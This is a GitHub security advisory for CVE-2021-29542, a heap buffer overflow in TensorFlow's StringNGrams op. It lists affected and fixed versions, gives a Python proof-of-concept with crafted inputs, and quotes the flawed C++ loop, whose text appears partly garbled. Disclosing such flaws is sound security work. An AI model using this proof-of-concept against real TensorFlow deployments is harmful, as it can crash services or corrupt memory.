GitHub Advisoryadvisory · PyPI

GHSA-4hrh-9vmp-2jgg Heap buffer overflow in `StringNGrams`

LOW Published 2021-05-21 Modified 2024-10-31 Official page ↗
Aliases
CVE-2021-29542
Ecosystem
PyPI
Packages
tensorflow, tensorflow-cpu, tensorflow-gpu
Severity
Low
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-131, CWE-787
Reviewed
2021-05-18

Affected packages

• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2

Description

Impact An attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`: ```python import tensorflow as tf separator = b'\x02\x00' ngram_widths = [7, 6, 11] left_pad = b'\x7f\x7f\x7f\x7f\x7f' right_pad = b'\x7f\x7f\x25\x5d\x53\x74' pad_width = 50 preserve_short_sequences = True l = ['', '', '', '', '', '', '', '', '', '', ''] data = tf.constant(l, shape=[11], dtype=tf.string) l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3] data_splits = tf.constant(l2, shape=[116], dtype=tf.int64) out = tf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=separator, ngram_widths=ngram_widths, left_pad=left_pad, right_pad=right_pad, pad_width=pad_width, preserve_short_sequences=preserve_short_sequences) ``` This is because the implementation fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements: ```cc for (int ngram_index = 0; ngram_index 0 ? 0 : ngram_index - pad_width; ... tstring* ngram = &output[ngram_index]; ngram->reserve(ngram_size); for (int n = 0; n append(left_pad_); ngram->append(separator_); } for (int n = 0; n append(data[data_start_index + n]); ngram->append(separator_); } ngram->append(data[data_start_index + num_tokens - 1]); // append(separator_); ngram->append(right_pad_); } ... } ``` If input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`. Patches We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Related

Alias · CVE (1)

  • CVE-2021-29542 TensorFlow is an end-to-end open source platform for machine learning. vulnerability

Weakness · CWE (2)

  • CWE-131 Incorrect Calculation of Buffer Size weakness
  • CWE-787 Out-of-bounds Write weakness

References